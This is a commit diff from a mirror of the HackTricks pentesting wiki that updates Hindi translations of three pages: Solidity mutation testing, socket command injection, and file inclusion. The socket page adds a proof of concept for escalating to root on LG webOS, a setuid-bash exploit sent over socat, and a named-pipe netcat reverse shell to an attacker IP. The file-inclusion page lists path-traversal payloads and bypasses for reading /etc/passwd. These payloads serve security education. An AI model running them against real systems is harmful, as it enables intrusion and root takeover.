mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/socket-command
This commit is contained in:
Translator
parent
6f5ea4a592
commit
548b5621ce
@ -1,14 +1,14 @@
|
||||
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing "tests your tests" का मतलब है कि यह व्यवस्थित रूप से आपकी Solidity कोड में छोटे परिवर्तन (mutants) डालता है और आपका test suite फिर से चलाता है। यदि कोई टेस्ट फेल होता है, तो mutant को किल माना जाता है। अगर टेस्ट फिर भी पास हो जाते हैं, तो mutant जीवित रह जाता है — यह आपके test suite में एक छिपी हुई कमी उजागर करता है जिसे line/branch coverage पकड़ नहीं पाती।
|
||||
Mutation testing "tests your tests" आपके Solidity कोड में व्यवस्थित रूप से छोटे बदलाव (mutants) करके और आपकी टेस्ट सूट को फिर से चलाकर किया जाता है। यदि कोई टेस्ट फेल होता है तो mutant मर जाता है (killed)। अगर टेस्ट फिर भी पास हो जाते हैं, तो mutant बच जाता है (survives), जिससे आपकी टेस्ट सूट में एक ऐसी कमी उजागर होती है जिसे line/branch coverage पकड़ नहीं पाती।
|
||||
|
||||
मुख्य विचार: Coverage दिखाती है कि कोड executed हुआ था; mutation testing दिखाता है कि व्यवहार वास्तव में assert किया गया है या नहीं।
|
||||
मुख्य विचार: कवरेज दिखाता है कि कोड execute हुआ था; mutation testing दिखाता है कि व्यवहार वास्तव में assert किया गया है या नहीं।
|
||||
|
||||
## क्यों कवरेज भ्रामक हो सकती है
|
||||
## क्यों कवरेज धोखा दे सकती है
|
||||
|
||||
इस सरल threshold चेक पर विचार करें:
|
||||
Consider this simple threshold check:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -18,99 +18,99 @@ return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
यूनिट टेस्ट जो केवल थ्रेशोल्ड से नीचे और थ्रेशोल्ड से ऊपर के वैल्यू को चेक करते हैं, वे 100% line/branch coverage तक पहुँच सकते हैं जबकि equality boundary (==) की assertion को चेक करने में असफल हो सकते हैं। कोड को `deposit >= 2 ether` में refactor करने पर ऐसे tests फिर भी पास हो जाएंगे और protocol लॉजिक चुपचाप टूट जाएगा।
|
||||
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
|
||||
|
||||
Mutation testing इस कमी को उजागर करता है — यह condition में बदलाव करके यह सत्यापित करता है कि आपके tests फेल होते हैं।
|
||||
Mutation testing इस अंतर को उजागर करता है, शर्त को बदलकर और यह सत्यापित करके कि आपके परीक्षण fail हों।
|
||||
|
||||
## Common Solidity mutation operators
|
||||
## सामान्य Solidity mutation operators
|
||||
|
||||
Slither’s mutation engine कई छोटे, semantics बदलने वाले edits लागू करता है, जैसे:
|
||||
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, आदि।
|
||||
Slither’s mutation engine कई छोटे, semantics-changing edits लागू करता है, जैसे:
|
||||
- ऑपरेटर बदलना: `+` ↔ `-`, `*` ↔ `/`, आदि।
|
||||
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||
- Condition negation/replacement inside `if`/loops
|
||||
- Comment out whole lines (CR: Comment Replacement)
|
||||
- Replace a line with `revert()`
|
||||
- Data type swaps: e.g., `int128` → `int64`
|
||||
- Condition negation/replacement `if`/loops के अंदर
|
||||
- पूरे लाइनों को comment out करना (CR: Comment Replacement)
|
||||
- किसी लाइन को `revert()` से बदलना
|
||||
- Data type swaps: उदाहरण के लिए, `int128` → `int64`
|
||||
|
||||
लक्ष्य: 100% generated mutants को kill करना, या बचे हुए के लिए स्पष्ट तर्क देना।
|
||||
Goal: generated mutants में से 100% को kill करें, या जिनका बचना आवश्यक है उन्हें स्पष्ट तर्क के साथ justify करें।
|
||||
|
||||
## Running mutation testing with slither-mutate
|
||||
|
||||
आवश्यकताएँ: Slither v0.10.2+.
|
||||
Requirements: Slither v0.10.2+.
|
||||
|
||||
- List options and mutators:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry उदाहरण (परिणाम कैप्चर करें और पूरा लॉग रखें):
|
||||
- Foundry उदाहरण (परिणाम कैप्चर करें और एक पूर्ण लॉग रखें):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- यदि आप Foundry का उपयोग नहीं करते हैं, तो `--test-cmd` को उस तरीके से बदलें जिससे आप टेस्ट चलाते हैं (उदाहरण के लिए, `npx hardhat test`, `npm test`)।
|
||||
- यदि आप Foundry का उपयोग नहीं करते हैं, तो `--test-cmd` को अपने परीक्षण चलाने के तरीके से बदलें (उदा., `npx hardhat test`, `npm test`)।
|
||||
|
||||
आर्टिफैक्ट्स और रिपोर्टें डिफ़ॉल्ट रूप से `./mutation_campaign` में संग्रहीत होती हैं। जो पकड़े नहीं गए (बचे हुए) mutants निरीक्षण के लिए वहाँ कॉपी किए जाते हैं।
|
||||
Artifacts और रिपोर्ट्स डिफ़ॉल्ट रूप से `./mutation_campaign` में संग्रहीत होते हैं। कैच न हुए (बचे हुए) mutants निरीक्षण के लिए वहाँ कॉपी किए जाते हैं।
|
||||
|
||||
### Understanding the output
|
||||
### आउटपुट को समझना
|
||||
|
||||
रिपोर्ट की पंक्तियाँ इस तरह दिखती हैं:
|
||||
रिपोर्ट लाइनें इस तरह दिखती हैं:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- ब्रैकेट में टैग mutator alias है (उदाहरण: `CR` = Comment Replacement).
|
||||
- `UNCAUGHT` का मतलब है कि mutated behavior के तहत tests पास हो गए → missing assertion.
|
||||
- कोष्ठक में टैग mutator उपनाम है (उदा., `CR` = Comment Replacement).
|
||||
- `UNCAUGHT` का मतलब है कि mutated व्यवहार के तहत tests पास हुए → assertion गायब है।
|
||||
|
||||
## रनटाइम घटाना: प्रभावशाली mutants को प्राथमिकता दें
|
||||
|
||||
Mutation campaigns कई घंटे या दिनों तक चल सकती हैं। लागत घटाने के टिप्स:
|
||||
- Scope: केवल critical contracts/directories से शुरुआत करें, फिर आवश्यकतानुसार बढ़ाएँ।
|
||||
- Prioritize mutators: अगर किसी लाइन पर high-priority mutant बच जाता है (उदा., पूरी लाइन commented), तो आप उस लाइन के lower-priority variants को स्किप कर सकते हैं।
|
||||
Mutation अभियानों में घंटे या दिन लग सकते हैं। लागत घटाने के सुझाव:
|
||||
- Scope: पहले केवल critical contracts/directories से शुरुआत करें, फिर विस्तार करें।
|
||||
- Prioritize mutators: अगर किसी लाइन पर high-priority mutant बच जाता है (उदा., पूरी लाइन comment कर दी गई), तो आप उस लाइन के लिए lower-priority variants को छोड़ सकते हैं।
|
||||
- Parallelize tests अगर आपका runner अनुमति देता है; dependencies/builds को cache करें।
|
||||
- Fail-fast: जल्दी रोक दें जब कोई परिवर्तन स्पष्ट रूप से assertion gap दिखाए।
|
||||
- Fail-fast: जब कोई परिवर्तन स्पष्ट रूप से assertion gap दिखाता है तो जल्दी बंद कर दें।
|
||||
|
||||
## बची हुई mutants के लिए ट्रायेज workflow
|
||||
## Triage workflow for surviving mutants
|
||||
|
||||
1) mutated लाइन और व्यवहार का निरीक्षण करें।
|
||||
- स्थानीय रूप से reproduce करें: mutated लाइन लागू करके और एक focused test चलाकर।
|
||||
1) mutated line और व्यवहार का निरीक्षण करें।
|
||||
- mutated line लागू करके स्थानीय रूप से reproduce करें और एक focused test चलाएँ।
|
||||
|
||||
2) tests को मजबूत करें ताकि वे केवल return values नहीं बल्कि state को assert करें।
|
||||
- समानता-बाउंडरी चेक जोड़ें (उदा., test threshold `==`)।
|
||||
- post-conditions assert करें: balances, total supply, authorization effects, और emitted events।
|
||||
2) केवल return values पर नहीं बल्कि state को assert करने के लिए tests को मजबूत करें।
|
||||
- equality-boundary checks जोड़ें (उदा., test threshold `==`)।
|
||||
- post-conditions को assert करें: balances, total supply, authorization प्रभाव, और emitted events।
|
||||
|
||||
3) अत्यधिक permissive mocks को realistic behavior से बदलें।
|
||||
- सुनिश्चित करें कि mocks उन transfers, failure paths, और event emissions को enforce करें जो on-chain होते हैं।
|
||||
3) अत्यधिक permissive mocks को realistic व्यवहार से बदलें।
|
||||
- सुनिश्चित करें कि mocks transfers, failure paths, और on-chain होने वाली event emissions को enforce करें।
|
||||
|
||||
4) fuzz tests के लिए invariants जोड़ें।
|
||||
- उदाहरण: conservation of value, non-negative balances, authorization invariants, और जहाँ लागू हो monotonic supply।
|
||||
- उदा., conservation of value, non-negative balances, authorization invariants, जहाँ लागू हो वहां monotonic supply।
|
||||
|
||||
5) Re-run slither-mutate तब तक चलाएँ जब तक survivors मारे न जाएँ या स्पष्ट रूप से justified न हों।
|
||||
5) survivors मरने तक या स्पष्ट रूप से justified होने तक slither-mutate फिर से चलाएँ।
|
||||
|
||||
## केस स्टडी: missing state assertions का खुलासा (Arkis protocol)
|
||||
## Case study: revealing missing state assertions (Arkis protocol)
|
||||
|
||||
Arkis DeFi protocol के audit के दौरान एक mutation campaign ने कुछ survivors उभरे जैसे:
|
||||
Arkis DeFi protocol के एक audit के दौरान एक mutation अभियान ने निम्नलिखित जैसे surviving cases surface किए:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
Commenting out the assignment didn’t break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
|
||||
|
||||
Guidance: ऐसे survivors जिन्हें मूल्य-स्थानांतरण, लेखांकन, या पहुँच नियंत्रण प्रभावित करते हैं, उन्हें नष्ट किए जाने तक उच्च-जोखिम मानें।
|
||||
मार्गदर्शन: वैल्यू ट्रांसफर, अकाउंटिंग, या एक्सेस कंट्रोल को प्रभावित करने वाले survivors को killed किए जाने तक high-risk मानें।
|
||||
|
||||
## Practical checklist
|
||||
## व्यावहारिक चेकलिस्ट
|
||||
|
||||
- लक्ष्यित अभियान चलाएँ:
|
||||
- लक्षित अभियान चलाएँ:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- बचे हुए म्यूटेंट्स का ट्रायज करें और ऐसे tests/invariants लिखें जो म्यूटेड व्यवहार के तहत फेल हों।
|
||||
- बैलेंस, सप्लाई, प्राधिकरण, और इवेंट्स की पुष्टि करें।
|
||||
- बाउंडरी टेस्ट जोड़ें: (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- अवास्तविक mocks बदलें; विफलता-परिस्थितियों का अनुकरण करें।
|
||||
- तब तक पुनरावृत्ति करें जब तक सभी mutants नष्ट न हों या टिप्पणियों और तर्क के साथ औचित्य न दिया गया हो।
|
||||
- बचे हुए survivors की triage करें और ऐसे tests/invariants लिखें जो mutated व्यवहार में fail हों।
|
||||
- balances, supply, authorizations, और events को assert करें।
|
||||
- बाउंडरी tests जोड़ें (`==`, overflows/underflows, zero-address, zero-amount, empty arrays)।
|
||||
- अवास्तविक mocks को बदलें; failure modes का simulate करें।
|
||||
- इटरेट करें जब तक सभी mutants killed न हों या comments और rationale के साथ justified न हों।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,8 +1,10 @@
|
||||
# Socket Command Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Python के साथ सॉकेट बाइंडिंग उदाहरण
|
||||
## Python के साथ Socket binding का उदाहरण
|
||||
|
||||
निम्नलिखित उदाहरण में एक **यूनिक्स सॉकेट बनाया गया है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** होता है वह `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आप इसे वास्तविक जीवन में नहीं पाएंगे, लेकिन इस उदाहरण का लक्ष्य यह देखना है कि यूनिक्स सॉकेट का उपयोग करने वाला कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे प्रबंधित किया जाए।
|
||||
निम्नलिखित उदाहरण में एक **unix socket बनाया जाता है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** होगा उसे `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आप इसे वास्तविक दुनिया में शायद नहीं पाएँगे, लेकिन इस उदाहरण का लक्ष्य यह दिखाना है कि unix sockets का उपयोग करने वाला कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे संभालना है।
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -24,15 +26,50 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**कोड को चलाएँ** python का उपयोग करके: `python s.py` और **जाँच करें कि सॉकेट कैसे सुन रहा है**:
|
||||
**कोड चलाएँ** python का उपयोग करके: `python s.py` और **जांचें कि socket कैसे सुन रहा है**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**शोषण**
|
||||
**Exploit**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
## केस स्टडी: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
कुछ privileged daemons एक root-owned UNIX socket एक्सपोज़ करते हैं जो untrusted input स्वीकार करता है और privileged actions को thread-IDs और signals से जोड़ता है। यदि protocol unprivileged client को यह प्रभावित करने देता है कि कौन सा native thread लक्ष्य बनता है, तो आप privileged code path ट्रिगर करके escalate कर सकते हैं।
|
||||
|
||||
प्रेक्षित पैटर्न:
|
||||
- Root-owned socket से कनेक्ट करें (उदा., /tmp/remotelogger).
|
||||
- एक thread बनाएँ और उसके native thread id (TID) प्राप्त करें।
|
||||
- TID (packed) और padding एक request के रूप में भेजें; acknowledgement प्राप्त करें।
|
||||
- उस TID को एक specific signal भेजें ताकि privileged behaviour ट्रिगर हो।
|
||||
|
||||
न्यूनतम PoC खाका:
|
||||
```python
|
||||
import socket, struct, os, threading, time
|
||||
# Spawn a thread so we have a TID we can signal
|
||||
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
|
||||
tid = th.native_id # Python >=3.8
|
||||
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
s.connect("/tmp/remotelogger")
|
||||
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
इसे root shell में बदलने के लिए, एक सरल named-pipe + nc pattern का उपयोग किया जा सकता है:
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
नोट:
|
||||
- यह बग वर्ग उन मानों पर भरोसा करने से उत्पन्न होता है जो गैर-प्रिविलेज्ड क्लाइंट स्टेट (TIDs) से निकले होते हैं और उन्हें प्रिविलेज्ड सिग्नल हैंडलरों या लॉजिक से बाइंड कर दिया जाता है।
|
||||
- मजबूत करने के लिए: socket पर credentials लागू करें, message formats को validate करें, और प्रिविलेज्ड ऑपरेशन्स को बाहरी रूप से प्रदान किए गए thread identifiers से अलग करें।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** फाइल किसी remote server से लोड की जाती है (सबसे अच्छा: आप कोड लिख सकते हैं और server उसे execute करेगा). In php यह डिफ़ॉल्ट रूप से **disabled** है (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल को लोड करता है.
|
||||
**Remote File Inclusion (RFI):** फ़ाइल एक remote server से लोड होती है (सबसे अच्छा: आप कोड लिख सकते हैं और server उसे execute करेगा). In php this is **disabled** by default (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल लोड करता है.
|
||||
|
||||
Vulnerability तब होती है जब user किसी तरह उस फाइल को control कर सकता है जिसे server लोड करने वाला है.
|
||||
यह vulnerability तब मौजूद होती है जब उपयोगकर्ता किसी तरह उस फ़ाइल को नियंत्रित कर सके जिसे server लोड करने वाला है.
|
||||
|
||||
असुरक्षित **PHP functions**: require, require_once, include, include_once
|
||||
प्रभावित **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
एक दिलचस्प टूल इस vulnerability को exploit करने के लिए: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
इस vulnerability का exploit करने के लिए एक उपयोगी टूल: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:**
|
||||
**कई \*nix LFI सूचियाँ मिलाकर और अधिक paths जोड़कर मैंने यह बनाया है:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
इसके अलावा `/` को `\` से बदलकर भी कोशिश करें\
|
||||
इसके अलावा `../../../../../` जोड़कर भी कोशिश करें
|
||||
यह भी आज़माएँ `/` को `\` से बदलना\
|
||||
यह भी आज़माएँ: `../../../../../` जोड़ना
|
||||
|
||||
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password खोजती है (जाँचने के लिए कि vulnerability मौजूद है) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) पर मिल सकती है।
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -40,22 +40,22 @@ A list that uses several techniques to find the file /etc/password (to check if
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
इसके अलावा `/` को `\` से बदलकर भी कोशिश करें\
|
||||
इसके अलावा `C:/` हटाकर `../../../../../` जोड़कर भी कोशिश करें
|
||||
यह भी आज़माएँ `/` को `\` से बदलना\
|
||||
यह भी आज़माएँ: `C:/` हटाएँ और `../../../../../` जोड़ें
|
||||
|
||||
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini खोजती है (जाँचने के लिए कि vulnerability मौजूद है) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) पर मिल सकती है।
|
||||
|
||||
### **OS X**
|
||||
|
||||
linux की LFI सूची देखें।
|
||||
Linux की LFI सूची देखें।
|
||||
|
||||
## बुनियादी LFI और bypasses
|
||||
## बेसिक LFI और बाइपास
|
||||
|
||||
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन इन्हें Remote File Inclusion पर भी लागू किया जा सकता है (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences को गैर-पुनरावर्ती रूप से हटाया गया
|
||||
### traversal sequences को गैर-आवर्ती तरीके से हटाया गया
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass करें: प्रदान की गई स्ट्रिंग के अंत में जोड़े गए अतिरिक्त अक्षरों को (bypass of: $\_GET\['param']."php")
|
||||
प्रदान किए गए स्ट्रिंग के अंत में अतिरिक्त chars जोड़ने को Bypass करें (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
यह **PHP 5.4 से हल हो चुका है**
|
||||
यह **PHP 5.4 से सुलझा हुआ है**
|
||||
|
||||
### **Encoding**
|
||||
### **एन्कोडिंग**
|
||||
|
||||
आप non-standard encodings जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:
|
||||
आप गैर-मानक एन्कोडिंग्स जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### मौजूद फ़ोल्डर से
|
||||
### From existent folder
|
||||
|
||||
शायद back-end फ़ोल्डर पथ की जाँच कर रहा है:
|
||||
शायद back-end फ़ोल्डर पथ की जांच कर रहा है:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### सर्वर पर फ़ाइल सिस्टम डायरेक्टरीज़ का अन्वेषण
|
||||
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण
|
||||
|
||||
किसी सर्वर की फ़ाइल सिस्टम को recursive तरीके से अन्वेषण कर केवल फ़ाइलों के बजाय डायरेक्टरीज़ की पहचान भी की जा सकती है। इस प्रक्रिया में directory depth निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए probe करना शामिल है। नीचे इसे हासिल करने का विस्तृत तरीका दिया गया है:
|
||||
सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके रिकर्सिव रूप से खोजा जा सकता है ताकि केवल फाइलें ही नहीं बल्कि निर्देशिकाएँ भी पहचानी जा सकें। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशेष फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने का विस्तृत तरीका नीचे दिया गया है:
|
||||
|
||||
1. **Directory Depth निर्धारित करें:** अपने वर्तमान डायरेक्टरी की depth का पता लगाएँ `/etc/passwd` फ़ाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर Linux-based है तो लागू)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की depth को संकेत करता है:
|
||||
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण /etc/passwd फ़ाइल को सफलतापूर्वक लाकर करें (यदि सर्वर Linux-आधारित हो तो लागू)। एक उदाहरण URL इस तरह संरचित हो सकता है, जो तीन की गहराई दिखाता है:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Probe for Folders:** संदेहास्पद फ़ोल्डर का नाम (उदा., `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी लेवल के लिए depth को एक से बढ़ाना होगा:
|
||||
2. **Probe for Folders:** अनुमानित फ़ोल्डर का नाम (उदाहरण के लिए, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के लिए depth को एक बढ़ाना होगा:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह दर्शाती है कि फ़ोल्डर मौजूद है या नहीं:
|
||||
- **त्रुटि / कोई आउटपुट नहीं:** निर्दिष्ट स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
|
||||
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
|
||||
4. **Recursive Exploration:** खोजे गए फ़ोल्डरों को उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके उपनिर्देशिकाओं या फाइलों के लिए आगे जांचा जा सकता है।
|
||||
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह बताती है कि फ़ोल्डर मौजूद है या नहीं:
|
||||
- **त्रुटि / कोई आउटपुट नहीं:** दिए गए स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
|
||||
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर मौजूद होने की पुष्टि होती है।
|
||||
4. **रिकर्सिव अन्वेषण:** खोजे गए फ़ोल्डरों की आगे की जांच समान तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके उप-डायरेक्टरी या फ़ाइलों के लिए की जा सकती है।
|
||||
|
||||
फाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि `/var/www/` में `private` निर्देशिका है या नहीं (मान लें कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
|
||||
फ़ाइल सिस्टम के विभिन्न स्थानों पर डायरेक्टरीज़ का अन्वेषण करने के लिए, payload को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` डायरेक्टरी है (मान लेते हैं कि वर्तमान डायरेक्टरी 3 की गहराई पर है), उपयोग करें:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation एक विधि है जिसका उपयोग web applications में file paths को manipulate करने के लिए किया जाता है। इसका अक्सर उपयोग restricted files तक पहुँचने के लिए किया जाता है, उन security measures को bypass करके जो file paths के अंत में अतिरिक्त characters जोड़ देते हैं। उद्देश्य ऐसा file path तैयार करना है जो security measure द्वारा परिवर्तित होने के बाद भी desired file की ओर इशारा करे।
|
||||
Path truncation वेब एप्लिकेशनों में फ़ाइल पथों को हेरफेर करने की एक विधि है। यह अक्सर उन प्रतिबंधित फ़ाइलों तक पहुँचने के लिए इस्तेमाल किया जाता है जिनमें सुरक्षा उपाय फ़ाइल पथ के अंत में अतिरिक्त अक्षर जोड़ते हैं और उनको बायपास करना संभव हो सके। लक्ष्य ऐसा फ़ाइल पथ तैयार करना है जो सुरक्षा उपाय द्वारा बदलने पर भी इच्छित फ़ाइल की ओर इशारा करते रहे।
|
||||
|
||||
In PHP, file system की प्रकृति के कारण किसी file path के विभिन्न representations को equivalent माना जा सकता है। उदाहरण के लिए:
|
||||
In PHP, फ़ाइल सिस्टम की प्रकृति के कारण फ़ाइल पथ के विभिन्न प्रतिनिधित्व समान माने जा सकते हैं। उदाहरण के लिए:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही path माना जाता है।
|
||||
- जब अंतिम 6 characters `passwd` होते हैं, तो `/` जोड़ने (यानि `passwd/`) से targeted file बदलती नहीं है।
|
||||
- इसी तरह, यदि किसी file path के अंत में `.php` जोड़ा गया है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से accessed file पर असर नहीं पड़ता।
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` को समान path माना जाता है।
|
||||
- जब अंतिम 6 अक्षर `passwd` हों, तो अंत में `/` जोड़ने से (यानी `passwd/`) लक्षित फ़ाइल नहीं बदलती।
|
||||
